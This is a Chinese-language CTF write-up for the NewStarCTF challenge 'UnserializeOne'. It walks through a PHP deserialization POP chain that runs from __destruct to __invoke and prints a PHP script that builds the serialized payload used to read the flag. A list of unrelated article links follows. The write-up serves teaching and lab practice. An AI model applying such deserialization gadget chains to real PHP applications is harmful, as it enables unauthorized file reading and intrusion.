【WEB】[NewStarCTF 公开赛赛道]UnserializeOne

**考点:PHP反序列化,**任意文件读取

打开题目,发现源码:

思路:

因为题目最下面有unserialize,而当反序列化结束后,这个脚本结束,对象被销毁,则__destruct()魔术方法自动触发,所以优先看这个。因为有echo,这代表有东西被当做字符串使用,就是当前对象的name属性。既然有对象被当做字符串使用,那么__toString()被触发,然后调用当前对象的obj属性的check()方法,然而并没有check()方法,所以__call()就被触发,然后它会把$var复制一份,所以__clone()被触发,因为在eeee这个类里并没有cmd这个属性,然而cmd这个属性被访问,所以isset()这个不可访问属性被触发,并且魔术方法__isset()也被触发,因为有func,当前对象会被当做函数调用,所以__invoke()被触发,最终输出flag。这就是这题的POP链。

魔术方法 触发时机 本题作用
__destruct() 对象销毁 链入口(反序列化后自动触发)
__toString() 对象被当字符串用(如 echo) 第 2 环
__call($fun,$var) 调用不存在/不可访问的方法 第 3 环(check 不存在)
__clone() 对象被 clone 复制 第 4 环(本题较冷门 ⚠)
__isset($var) 不可访问属性isset()/empty() 第 5 环(cmd 不存在)
__invoke() 对象被当函数调用$obj() 终点​ → 读 flag

那么可以构造序列化脚本:

php 复制代码
<?php
#定义类结构
class Start{
	public $name;
	public $func;
}
class Sec{
	public $obj;
	public $var;
}
class Easy{
	public $cla;
}
class eeee{
	public $obj;
}

$a = new Start();    #触发__destruct
$a->name = new Sec();    #有.拼接了name,触发__toString
$a->name->obj = new Easy();
#因为check()方法建立在当前对象的obj属性上,所以在上一步对象的基础上拼接obj触发__call
$a->name->var = new eeee();
#因为clone复制的是var,所以拼接var触发__clone,因为没有$this当前对象所以不需要继续拼接
$a->name->var->obj = new Start();
#因为有$this且不存在的cmd属性建立在obj上,所以需要在上一步对象的基础上拼接cmd触发__isset
$a->name->var->obj->func = new Sec();
#因为有$this且触发__invoke需要建立在func上,所以需要拼接func
echo serialize($a);    #最后进行序列化
?>

在phpstudy里运行脚本:

因为pop需要用POST方法,所以:

相关推荐
南雨北斗21 分钟前
Vue3 v-model中的自动事件绑定
前端
小磊哥er1 小时前
深入解构Claude Code - 第 3 篇 · 一问一答怎么转起来
javascript·ai编程
小磊哥er1 小时前
深入解构Claude Code - 第 2 篇 · 启动的秘密
javascript·ai编程
雪芽蓝域zzs2 小时前
第八节:Element Plus 基础、封装通用组件 + 路由守卫
前端·vue.js
码视野2 小时前
基于 Spring Boot + Vue3 的【智慧公厕微负压排风除臭与客流人感空间占用导引中台】设计与实现(含PRD/三端高保真源码/大屏)
前端·vue.js·人工智能·spring boot·后端
计算机魔术师2 小时前
刚赔了15亿又来被告?索尼华纳联手把Anthropic告上法庭
前端
笑霸final2 小时前
不用上传服务器!用 Vue3 + ONNX Runtime Web 在浏览器本地实现智能抠图
运维·前端·图像处理·ai·onnx·canva可画·web性能优化
月月大王的3D日记2 小时前
Three.js 入门系列(9):从零搭一座“闹鬼小屋”
前端·javascript
TingTing2 小时前
Vue3动态组件库建设
前端